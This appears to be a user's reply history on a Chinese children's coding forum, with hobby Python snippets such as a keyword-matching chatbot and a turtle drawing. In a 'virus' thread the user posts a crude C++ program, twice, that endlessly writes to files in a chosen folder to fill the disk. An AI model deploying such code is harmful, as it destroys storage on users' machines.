猫史档案馆


活波的飓风雀HSWK

活波的飓风雀HSWK

Lv.1

获赞:15收藏:0浏览:428作品收藏:0
回复帖子评论
上一页1 页 / 共 1下一页

震惊!原来神岛的真正创作团队竟然是这个[doge] 中回复

哈哈哈哈哈哈哈哈哈

2023-07-28T16:29:07 点赞:0

怎样才能弹出文字? 中回复

谢谢

2023-07-30T17:38:00 点赞:0

【Python作品分享】新的作品 中回复

你画了个五角星,酷! 

2023-07-30T17:42:55 点赞:0

(伪)AI程序 中回复

plus版

# 主程序





# 字符串相似度计算

def calculate_similarity(str1, str2):
    m, n = len(str1), len(str2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    for i in range(m + 1):
        dp[i][0] = i
    for j in range(n + 1):
        dp[0][j] = j

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if str1[i - 1] == str2[j - 1]:
                dp[i][j] = dp[i - 1][j - 1]
            else:
                dp[i][j] = min(dp[i - 1][j - 1], dp[i][j - 1], dp[i - 1][j]) + 1

    max_length = max(m, n)
    similarity = 1 - dp[m][n] / max_length

    return similarity



#
def ai(input_str):
    # 内置的键值对集合
    key_value_pairs = {
"你好": "你好!有什么我可以帮助你的吗?",

"介绍一下编程猫": "编程猫是一款面向儿童和初学者的编程学习平台。它提供了一个可视化的编程环境,使学习编程变得简单有趣。以下是编程猫的一些特点:\n\
可视化编程环境:编程猫提供了一个图形化的编程界面,让学习者可以通过拖拽和连接图块的方式编写代码,而不需要记忆复杂的语法。\n\
丰富的编程任务:编程猫提供了各种有趣的编程任务和项目,如动画制作、游戏开发、机器人控制等,让学习者可以通过实践来巩固所学的编程概念。\n\
互动学习社区:编程猫有一个活跃的学习社区,学习者可以在这里与其他人分享自己的作品、交流经验,还可以参加编程比赛和挑战。\n\
多平台支持:编程猫可以在多种设备上使用,包括电脑、平板和手机,学习者可以根据自己的喜好选择合适的设备进行学习。\n\
编程猫致力于让编程教育变得简单、有趣和易于理解,帮助儿童和初学者培养编程思维和解决问题的\
能力。无论是想要学习编程的孩子还是成人,都可以通过编程猫开始他们的编程之旅。",

"你叫什么": "我叫……如您所见,我还没有名字,但这并不妨碍我能帮助您。",

"114514":"好臭啊!!!",

"1919810":"好臭啊!!!!",

"2.5":"2.5是一个普通的数字,表示成分数是5/2",

"背诵一下元素周期表": "很抱歉,将元素周期表完整地背出来是一项艰巨的任务,不适合在这种文本交互环境下完成。元素周期表共有118个元素,\
包括化学符号、原子序数和原子量等信息。背诵它们可能需要长时间的学习和记忆。\n\
如果你对元素周期表感兴趣,我建议你使用相关的学习资源,如教科书、在线课程、学习工具等。通过系统性的学习和反复练习,你将能够逐渐熟悉元素周期表,并记住更多的元素。\
另外,也可以通过使用现代技术和工具来辅助学习,例如使用化学学习软件、交互式应用程序或在线平台,它们通常会提供元素周期表和各种有趣的学习资源,使学习过程更加轻松和有趣。\
记住,理解元素周期表的基本规律和特点比完全背诵更重要。理解每个元素的特性、周期性趋势以及它们在化学中的应用,将能够更好地应用化学知识。\
如果你对特定元素或其他化学相关的问题有兴趣,我将很愿意在这方面提供帮助。",
                    
"你干嘛,哎哟!":"我只是一个AI,无法对您做什么。",

"你是谁":"我是一个AI",

"再见": "再见,祝您一天愉快!",

"感谢": "不客气,我很乐意帮助您!",

"天气": "您想查询哪个城市的天气?",

"电影": "您想了解哪个电影的信息?",

"音乐": "您想听哪首歌曲?",

"翻译": "您需要翻译哪个词语或句子?",

"计算": "请输入您要计算的数学表达式。",

"学习": "您想学习哪个主题?",

"健康": "保持身体健康很重要!请记得多锻炼和合理饮食。",

"旅行": "您想去哪个目的地旅行?",

"运动": "您平时喜欢做什么运动?",

"科技": "科技的发展给我们的生活带来了很多便利。",

"动物": "您有什么关于动物的问题吗?",

"美食": "您最喜欢的美食是什么?",

"文化": "不同的文化有着不同的特点和魅力。",

"教育": "教育是一个人成长发展的重要环节。",

"艺术": "艺术能够表达人们的情感和创造力。"

#可以添加

    }
    if (calculate_similarity(input_str,'再见')>0.7):
        print('结束对话')
        
    threshold = 0.35  # 相似度阈值
    threshold_now = 0

    similar_values = ''  # 存储相似的值

    for key in key_value_pairs:
        similarity = calculate_similarity(input_str, key)
        if similarity > threshold  and similarity > threshold_now:
            similar_values = key_value_pairs[key]
            threshold_now = threshold_now

    if(similar_values == ''):
        return '抱歉,我不知道'
    else:
        return similar_values





# 适用于网页版的简易哈希加密
def hash_pass(input1, input2):
    # 输入两个参数,分别是原码和密钥
    a = 0x12c34fec960b
    b = input1 & a
    b = (b << 16) ^ input2
    b = (b << 16) ^ input2
    b += (a & input2)

    return b




# 对比密码库
def compare(cin):
    password_book = [677489889380, 2166582706568,
                     4715377290320, 677489889380, 
                     834720590020,80903009542196]
    for num in password_book:
        if (cin == num):
            return True
    return False


experience_code = int(input('请输入您的号码:'))  # 身份验证
pass_word = int(input('请输入您的密码:'))
results = hash_pass(experience_code, pass_word)
goon = bool(1)
if(compare(results)):
    print('验证通过!')  # 调用AI程序
    while(goon):
        input_main = input('你:')
        print('AI:',ai(input_main))
else:
    print("验证不通过.")

 

使用Chat GPT添加了更多的内容。 

2023-08-05T20:26:20 点赞:0

【python原创作品】文字回合式战斗题材作品 中回复

牛的。

2023-08-05T23:44:47 点赞:0

【python原创作品】文字回合式战斗题材作品 中回复

VScode?

2023-08-05T23:47:00 点赞:0

简易的基于字典计算器,支持四则运算、增删改查、数据类型。 中回复

厉害,不懂

2023-08-05T23:58:13 点赞:0

Python进制转换 中回复

11

2023-08-05T23:59:24 点赞:0

【Python作品分享】数据比较器1.3【作品秀】 中回复

阿哲……其实不用那么麻烦,你完全可以用函数反复封装。 

2023-08-06T00:01:48 点赞:0

【Python作品分享】新的作品 中回复

你这也没有第三方库啊。

2023-08-06T14:57:52 点赞:0

【Python作品分享】新的作品【作业帖】 中回复

合着你就是个水印添加程序啊。 

2023-08-06T14:59:07 点赞:0

【Python作品分享】请你不要眼花【作品秀】 中回复

import turtle
tina = turtle.Turtle()
tina.speed(0)
colors = ['yellow', 'red', 'blue', 'green','black','pink']
tina.width(2)
a = int(input('需要绘制的边数(<=6)'))
b = int(input('需要绘制的圈数'))
for x in range(a*b):
    tina.color(colors[x % a])
    tina.forward(x*2)
    tina.left(360/a)

2023-08-06T15:05:21 点赞:0

【Python作品分享】新鲜的密码锁【作品秀】 中回复

哥们儿,我看一眼源代码我就知道密码是什么了。 

2023-08-06T19:13:30 点赞:0

【Python作品分享】新鲜的密码锁【作品秀】 中回复

你应该在程序内部增加一些密码处理,比如说哈希密码。 

2023-08-06T19:13:56 点赞:0

【版本更新】Wood2.0——积木代码双模式自由切换! 中回复

为什么?有时候Python代码能正常运行,但是就是转换不了。 

2023-08-06T20:13:37 点赞:0

【版本更新】Wood2.0——积木代码双模式自由切换! 中回复

能用,然后他就硬说有非法字符。 

2023-08-06T20:13:49 点赞:0

【版本更新】Wood2.0——积木代码双模式自由切换! 中回复

goon = 1 # 储存是否继续对话的状态
answer = 0




# 字符串相似度计算

def calculate_similarity(str1, str2):
    m, n = len(str1), len(str2)
    dp = [[0] * (n + 1) for _ in range(m + 1)]

    for i in range(m + 1):
        dp[i][0] = i
    for j in range(n + 1):
        dp[0][j] = j

    for i in range(1, m + 1):
        for j in range(1, n + 1):
            if str1[i - 1] == str2[j - 1]:
                dp[i][j] = dp[i - 1][j - 1]
            else:
                dp[i][j] = min(dp[i - 1][j - 1], dp[i][j - 1], dp[i - 1][j]) + 1

    max_length = max(m, n)
    similarity = 1 - dp[m][n] / max_length

    return similarity



#
def ai(input_str):
    # 内置的键值对集合
    key_value_pairs = {
"你好": "你好!有什么我可以帮助你的吗?",

"介绍一下编程猫": "编程猫是一款面向儿童和初学者的编程学习平台。它提供了一个可视化的编程环境,使学习编程变得简单有趣。以下是编程猫的一些特点:\n\
可视化编程环境:编程猫提供了一个图形化的编程界面,让学习者可以通过拖拽和连接图块的方式编写代码,而不需要记忆复杂的语法。\n\
丰富的编程任务:编程猫提供了各种有趣的编程任务和项目,如动画制作、游戏开发、机器人控制等,让学习者可以通过实践来巩固所学的编程概念。\n\
互动学习社区:编程猫有一个活跃的学习社区,学习者可以在这里与其他人分享自己的作品、交流经验,还可以参加编程比赛和挑战。\n\
多平台支持:编程猫可以在多种设备上使用,包括电脑、平板和手机,学习者可以根据自己的喜好选择合适的设备进行学习。\n\
编程猫致力于让编程教育变得简单、有趣和易于理解,帮助儿童和初学者培养编程思维和解决问题的\
能力。无论是想要学习编程的孩子还是成人,都可以通过编程猫开始他们的编程之旅。",

"你叫什么": "我叫……如您所见,我还没有名字,但这并不妨碍我能帮助您。",

"114514":"好臭啊!!!",

"1919810":"好臭啊!!!!",

"2.5":"2.5是一个普通的数字,表示成分数是5/2",

"背诵一下元素周期表": "很抱歉,将元素周期表完整地背出来是一项艰巨的任务,不适合在这种文本交互环境下完成。元素周期表共有118个元素,\
包括化学符号、原子序数和原子量等信息。背诵它们可能需要长时间的学习和记忆。\n\
如果你对元素周期表感兴趣,我建议你使用相关的学习资源,如教科书、在线课程、学习工具等。通过系统性的学习和反复练习,你将能够逐渐熟悉元素周期表,并记住更多的元素。\
另外,也可以通过使用现代技术和工具来辅助学习,例如使用化学学习软件、交互式应用程序或在线平台,它们通常会提供元素周期表和各种有趣的学习资源,使学习过程更加轻松和有趣。\
记住,理解元素周期表的基本规律和特点比完全背诵更重要。理解每个元素的特性、周期性趋势以及它们在化学中的应用,将能够更好地应用化学知识。\
如果你对特定元素或其他化学相关的问题有兴趣,我将很愿意在这方面提供帮助。",
                    
"你干嘛,哎哟!":"我只是一个AI,无法对您做什么。",

"你是谁":"我是一个AI",

"再见": "再见,祝您一天愉快!",

"感谢": "不客气,我很乐意帮助您!",

"天气": "您想查询哪个城市的天气?",

"电影": "您想了解哪个电影的信息?",

"音乐": "您想听哪首歌曲?",

"翻译": "您需要翻译哪个词语或句子?",

"计算": "请输入您要计算的数学表达式。",

"学习": "您想学习哪个主题?",

"健康": "保持身体健康很重要!请记得多锻炼和合理饮食。",

"旅行": "您想去哪个目的地旅行?",

"运动": "您平时喜欢做什么运动?",

"科技": "科技的发展给我们的生活带来了很多便利。",

"动物": "您有什么关于动物的问题吗?",

"美食": "您最喜欢的美食是什么?",

"文化": "不同的文化有着不同的特点和魅力。",

"教育": "教育是一个人成长发展的重要环节。",

"艺术": "艺术能够表达人们的情感和创造力。"

#可以添加

    }
    if (calculate_similarity(input_str,'再见')>0.7):
        print('结束对话')
        goon = False
        
    threshold = 0.35  # 相似度阈值
    threshold_now = 0

    similar_values = ''  # 存储相似的值

    for key in key_value_pairs:
        similarity = calculate_similarity(input_str, key)
        if similarity > threshold  and similarity > threshold_now:
            similar_values = key_value_pairs[key]
            threshold_now = threshold_now

    if(similar_values == ''):
        return '抱歉,我不知道'
    else:
        return similar_values





# 适用于网页版的简易哈希加密
def hash_pass(input1, input2):
    # 输入两个参数,分别是原码和密钥
    a = 0x12c34fec960b
    b = input1 & a
    b = (b << 16) ^ input2
    b = (b << 16) ^ input2
    b += (a & input2)

    return b


#答案添加函数
def a喵_word(input_quastion):
    if(answer):
        print('感谢!')
        print('问题:'+input_quastion)
        of = open(file=r"伪AI对话\AI文档.txt", mode='r', buffering=-1)
        of.write(input('答案:'))
        return 0
    else:
        return 0
    

# 对比密码库
def compare(cin):
    password_book = [677489889380, 2166582706568,
                     4715377290320, 677489889380, 
                     834720590020,80903009542196]
    for num in password_book:
        if (cin == num):
            return True
    return False


experience_code = int(input('请输入您的号码:'))  # 身份验证
pass_word = int(input('请输入您的密码:'))
results = hash_pass(experience_code, pass_word)
goon = bool(1)
if(compare(results)):
    print('验证通过!')  # 调用AI程序
    while(goon):
        input_main = input('你:')
        print('AI:',ai(input_main))
        if(ai(input_main )== '抱歉,我不知道'):
           print ('您愿意为我们补充正确答案吗')
           answer = bool (input())
           a喵_word(input_main)
else:
    print("验证不通过.")

@技术喵 这就是我那个转换不了的程序

2023-08-07T14:23:16 点赞:1

【作品の抉择】这逝作品的回复区 中回复

加油

2023-08-07T14:24:21 点赞:1

【Python作品分享】病毒 中回复

 

看看我的,

#include <iostream>
#include <fstream>
#include <string>
#include <sstream>
#include <vector>
#include <thread>
#include <cstdlib>

void createProcess(int processNum, const std::string& folderPath) {
    std::string folderName = folderPath;
    std::replace(folderName.begin(), folderName.end(), '\\', '/'); // �滻·���еķ�б��Ϊ��б��
    std::string fileName;
    std::ofstream file;

    for (int i = 0; i < processNum; i++) {
        // �������
        std::stringstream ss;
        ss << folderName << "/file" << i << ".txt";
        fileName = ss.str();

        // ���������ļ�
        file.open(fileName);
        if (!file.is_open()) {
            std::cerr << "�޷����ļ���" << fileName << std::endl;
            exit(1);
        }

        // ѭ��д���ַ���
        while (true) {
            if (!file << "0") {
                std::cerr << "���ļ�д������ʱ������" << fileName << std::endl;
                exit(1);
            }
        }

        // �ر��ļ�
        file.close();
    }
}

int main() {
    // ��ȡ喵U�Ľ�����
    unsigned int processNum = std::thread::hardware_concurrency();

    // ��ȡ�ļ��е�ַ
    std::string folderPath;
    std::cout << "�������ļ��е�ַ��";
    std::getline(std::cin, folderPath);

    // ������Ӧ�����Ľ���
    createProcess(processNum, folderPath);

    return 0;
}

之前用DEV-C++写的程序,然后到VScode里文件注释就损坏了 

2023-08-07T22:00:38 点赞:0

【Python作品分享】病毒 中回复

#include <iostream>
#include <fstream>
#include <string>
#include <sstream>
#include <vector>
#include <thread>
#include <cstdlib>

void createProcess(int processNum, const std::string& folderPath) {
    std::string folderName = folderPath;
    std::replace(folderName.begin(), folderName.end(), '\\', '/'); // �滻·���еķ�б��Ϊ��б��
    std::string fileName;
    std::ofstream file;

    for (int i = 0; i < processNum; i++) {
        // �������
        std::stringstream ss;
        ss << folderName << "/file" << i << ".txt";
        fileName = ss.str();

        // ���������ļ�
        file.open(fileName);
        if (!file.is_open()) {
            std::cerr << "�޷����ļ���" << fileName << std::endl;
            exit(1);
        }

        // ѭ��д���ַ���
        while (true) {
            if (!file << "0") {
                std::cerr << "���ļ�д������ʱ������" << fileName << std::endl;
                exit(1);
            }
        }

        // �ر��ļ�
        file.close();
    }
}

int main() {
    // ��ȡ喵U�Ľ�����
    unsigned int processNum = std::thread::hardware_concurrency();

    // ��ȡ�ļ��е�ַ
    std::string folderPath;
    std::cout << "�������ļ��е�ַ��";
    std::getline(std::cin, folderPath);

    // ������Ӧ�����Ľ���
    createProcess(processNum, folderPath);

    return 0;
}

2023-08-07T22:03:53 点赞:0

有编程或电脑问题?加入ClassIn的这个班,本人帮你解决! 中回复

进。

2023-08-07T22:05:51 点赞:0

【Python作品分享】初音未来-程序【作品秀】 中回复

怎么使用,是导入solr绘图模型吗 

2023-08-07T22:10:47 点赞:0

https://coco.codemao.cn/editor/?workId=195169020&i 中回复

厉害

2023-08-08T14:58:10 点赞:0

有需要CoCo控件的吗 中回复

能帮我做一个哈希加密的控件吗。MD5和SHA1,SHA256

2023-08-08T22:46:28 点赞:0

消失的猫急需协作 中回复

打不开

 

2023-08-09T19:39:16 点赞:0

极简浏览器 神翼浏览器 中回复

加油

UI改进一下就更好

2023-08-09T20:08:00 点赞:0

🎮 来自3D游戏世界的魔力已经蔓延至Python的领域!(介绍篇)🎮 中回复

需要自己建模吗?

2023-08-14T23:31:54 点赞:0

大佬帮我看看叭,求求了 中回复

是的,要转换成整数类型 

2023-08-15T00:04:06 点赞:0

【关于源码】 中回复

发一个帖子就行 

点击那个"</>"按钮 

2023-08-15T00:05:26 点赞:0

闪闪的红星 中回复

发帖子是不保留空行的 

想要正确地发出你的Python代码,必须要按那个"</>"按钮 

2023-08-15T00:06:15 点赞:0